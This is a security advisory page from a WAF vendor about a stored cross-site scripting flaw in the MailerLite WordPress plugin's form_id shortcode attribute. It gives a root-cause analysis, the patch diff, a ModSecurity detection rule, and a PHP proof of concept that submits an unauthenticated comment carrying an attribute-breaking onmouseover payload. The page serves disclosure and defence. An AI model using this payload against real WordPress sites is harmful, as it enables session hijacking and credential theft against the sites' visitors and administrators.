Published : November 21, 2026

CVE-2026-118059: MailerLite <= 1.7.27 Unauthenticated Stored Cross-Site Scripting via 'form_id' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 1.7.27
Patched Version 1.7.28
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-118059: The MailerLite Signup forms plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting through the `form_id` attribute of the `[mailerlite_form]` shortcode. Atomic Edge research confirms the flaw exists in versions up to and including 1.7.27 and carries a CVSS score of 5.4. The vulnerability allows an attacker to inject arbitrary script into a page, which executes for any visitor who views content containing the malicious shortcode output.

The root cause resides in `src/Modules/Shortcode.php`. The shortcode handler merges user supplied attributes with defaults via `shortcode_atts`, then passes `$form_attributes[‘form_id’]` directly to `( new Form() )->load_mailerlite_form()` without sanitization. The value flows into view components including `src/Views/CustomForm.php` and `src/Views/InvalidForm.php`, where it is echoed into HTML attributes such as `id=”mailerlite-form_”` and `data-temp-id`. Because no `absint()` or `esc_attr()` call exists on this path, an attacker can break out of the attribute context with a double quote followed by an event handler or script tag. The `Widget.php` path shows the same weakness with `mailerlite_form_id`, where `intval()` returns a truthy check but the original unsanitized string is retained and passed to a database query.

The exploitation path requires an unauthenticated attacker to submit a comment containing the shortcode, for example `[mailerlite_form form_id=’1″ onmouseover=”alert(document.domain)’]`. An administrator must approve the comment. Once approved, any page that renders the Latest Comments block with excerpts enabled processes the shortcode and emits the unsanitized attribute into the page source. Every subsequent visitor to that page triggers the injected JavaScript in the context of the vulnerable WordPress site. No authentication is required for the initial comment submission, and the payload persists in the database until removed.

The patch in 1.7.28 applies `absint()` to the `form_id` value in `Shortcode.php` before calling `load_mailerlite_form()`, and adds `absint()` calls in `CustomForm.php` and `InvalidForm.php` view methods. `Widget.php` changes the ternary to return `absint( $instance[‘mailerlite_form_id’] )` instead of the raw instance value. Casting to a non-negative integer strips all quote characters, angle brackets, and script syntax, so the value cannot escape the HTML attribute context. The before behavior passed raw attacker-controlled strings to output; the after behavior forces numeric output, eliminating the XSS sink.

If exploited, this vulnerability permits session hijacking, credential theft, and arbitrary actions performed as an authenticated administrator or any other visitor. Atomic Edge analysis notes the stored nature means the payload executes for every page view until the malicious comment is removed. Impact includes defacement, redirect to malicious domains, and theft of authentication cookies where HttpOnly flags are absent. The CVSS 5.4 rating reflects the required administrator approval step, but the low complexity and unauthenticated injection vector make this a practical target for comment spam campaigns.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/official-mailerlite-sign-up-forms/mailerlite.php
+++ b/official-mailerlite-sign-up-forms/mailerlite.php
@@ -3,7 +3,7 @@
  * Plugin Name: MailerLite - Signup forms (official)
  * Plugin URI: https://mailerlite.com
  * Description: Official MailerLite Signup forms plugin for WordPress. Ability to embed MailerLite webforms and create custom ones just with few clicks.
- * Version: 1.7.27
+ * Version: 1.7.28
  * Author: MailerLite
  * Author URI: https://www.mailerlite.com
  * License: GPLv2 or later
@@ -34,7 +34,7 @@
 // Plugin basename
 define( 'MAILERLITE_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );

-define( 'MAILERLITE_VERSION', '1.7.27' );
+define( 'MAILERLITE_VERSION', '1.7.28' );

 define( 'MAILERLITE_PHP_VERSION', '7.2.5' );
 define( 'MAILERLITE_WP_VERSION', '3.0.1' );
--- a/official-mailerlite-sign-up-forms/src/Modules/Shortcode.php
+++ b/official-mailerlite-sign-up-forms/src/Modules/Shortcode.php
@@ -107,9 +107,11 @@
             'form_id' => '1',
         ], $attributes );

+        $form_id = absint( $form_attributes['form_id'] );
+
         ob_start();

-        ( new Form() )->load_mailerlite_form( $form_attributes['form_id'] );
+        ( new Form() )->load_mailerlite_form( $form_id );

         return ob_get_clean();
     }
--- a/official-mailerlite-sign-up-forms/src/Modules/Widget.php
+++ b/official-mailerlite-sign-up-forms/src/Modules/Widget.php
@@ -36,7 +36,7 @@
         $form_id = isset( $instance['mailerlite_form_id'] )
                    && intval(
                        $instance['mailerlite_form_id']
-                   ) ? $instance['mailerlite_form_id'] : 0;
+                   ) ? absint( $instance['mailerlite_form_id'] ) : 0;
         $query = $wpdb->prepare(
             "SELECT * FROM
 			{$wpdb->base_prefix}mailerlite_forms
--- a/official-mailerlite-sign-up-forms/src/Views/CustomForm.php
+++ b/official-mailerlite-sign-up-forms/src/Views/CustomForm.php
@@ -25,6 +25,7 @@
      */
     private function view($form_id, $form_data)
     {
+        $form_id = absint( $form_id );
         $unique_id = uniqid();

         ?>
--- a/official-mailerlite-sign-up-forms/src/Views/InvalidForm.php
+++ b/official-mailerlite-sign-up-forms/src/Views/InvalidForm.php
@@ -26,6 +26,7 @@
      */
     private function view($form_id)
     {
+        $form_id = absint( $form_id );

         ?>
         <div id="mailerlite-form_<?php echo $form_id; ?>" data-temp-id="<?php echo uniqid(); ?>">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-118059
# Detects malicious 'form_id' attribute inside [mailerlite_form] shortcode payloads
# submitted via comment forms and other user content posting endpoints.
SecRule REQUEST_METHOD "@rx ^(POST|GET)$" 
  "id:20260118059,phase:2,deny,status:403,chain,msg:'CVE-2026-118059 MailerLite form_id XSS',severity:'CRITICAL',tag:'CVE-2026-118059'"
  SecRule REQUEST_BODY "@rx [mailerlite_form[^]]*form_ids*=s*[x22x27][^]]*[x22x27x3cx3e]" 
    "t:none,t:urlDecodeUni,t:lowercase,chain"
    SecRule REQUEST_BODY "@rx on[a-z]*s*=" 
      "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-118059 - MailerLite <= 1.7.27 Unauthenticated Stored XSS via 'form_id' Shortcode Attribute

$target_url = 'http://localhost/wordpress'; // Change to target WordPress root
$post_id    = 1;                              // Post ID to comment on

// Payload: break out of the id attribute and inject an event handler
$payload = '[mailerlite_form form_id='1" onmouseover="alert(document.domain)' ]';

// Step 1: Submit a comment containing the malicious shortcode (unauthenticated)
$comment_data = [
    'comment'                    => $payload,
    'author'                     => 'AtomicEdge',
    'email'                      => 'research@atomicedge.example',
    'url'                        => '',
    'comment_post_ID'            => $post_id,
    'comment_parent'             => 0,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// A 302 redirect indicates the comment was accepted for moderation
if ($http_code === 302) {
    echo "[+] Comment submitted successfully (awaiting admin approval).n";
    echo "[+] Payload: {$payload}n";
    echo "[+] Once approved, any page rendering the Latest Comments block with excerpts will trigger the XSS.n";
} else {
    echo "[-] Comment submission returned HTTP {$http_code}.n";
}

// Step 2: Verify execution by fetching a page expected to render the comment excerpt
// (Requires admin approval first; this step is informational)
$check = curl_init();
curl_setopt($check, CURLOPT_URL, $target_url . '/?p=' . $post_id);
curl_setopt($check, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($check);
curl_close($check);

if (strpos($page, 'onmouseover="alert(document.domain)"') !== false) {
    echo "[!] Injected payload reflected in page source. XSS is active.n";
} else {
    echo "[*] Payload not yet visible (comment may still be pending approval).n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.